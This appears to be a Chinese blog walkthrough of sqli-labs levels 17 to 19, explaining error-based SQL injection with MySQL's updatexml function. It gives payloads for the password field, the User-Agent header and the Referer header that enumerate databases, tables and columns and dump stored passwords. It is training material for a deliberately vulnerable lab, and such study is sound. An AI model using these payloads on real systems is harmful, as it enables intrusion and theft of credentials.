less-17
前置基础知识:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值
而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出 ERROR 1105 (HY000): XPATH syntax error: ‘~Dumb~‘
参考链接:
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm
首先,在php网页代码中插入输出sql语句和update语句,这样便于观察:
然后尝试输入发现,这个是一个更改password的功能,前提是username需要正确:
代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入
我们可以根据上面的updataxml构造注入语句:
查当前库:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit
查库:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)#&submit=Submit
查表:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 3,1),0x7e),1)#&submit=Submit
查列:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 4,1),0x7e),1)#&submit=Submit
查信息:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users ),0x7e),1)#&submit=Submit
注意:这里之所以使用两层select,是因为会出现报错:
意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了
参考:https://blog.csdn.net/z_youarethebest/article/details/53785487
less-18
在这一关中 ,完善了上一关对password的转义和过滤。
登陆成功:显示ip地址和浏览器版本信息
登陆失败:只显示ip地址
注意:在这一关中如果输入用户名和密码登陆不了的话可能是因为在17关重新设置改变了密码,可以在sqli-labs初始界面重置数据库:
18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。
注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。
抓包之后右键发送到Repeater:
然后在数据包的headers部分修改user-agent构造注入语句:
查当前数据库:‘or updatexml(1,concat(0x7e,(database())),1) or ‘1‘=‘1(注意闭合)
或者‘or updatexml(1,concat(0x7e,(database())),1) ,",")# 闭合sql语句
之后构造的语句和上一关一样,不再赘述
less-19
这一关和上关也是类似,登陆成功返回的信息变成了referer。
抓包:‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#
构造的语句同样是相同的。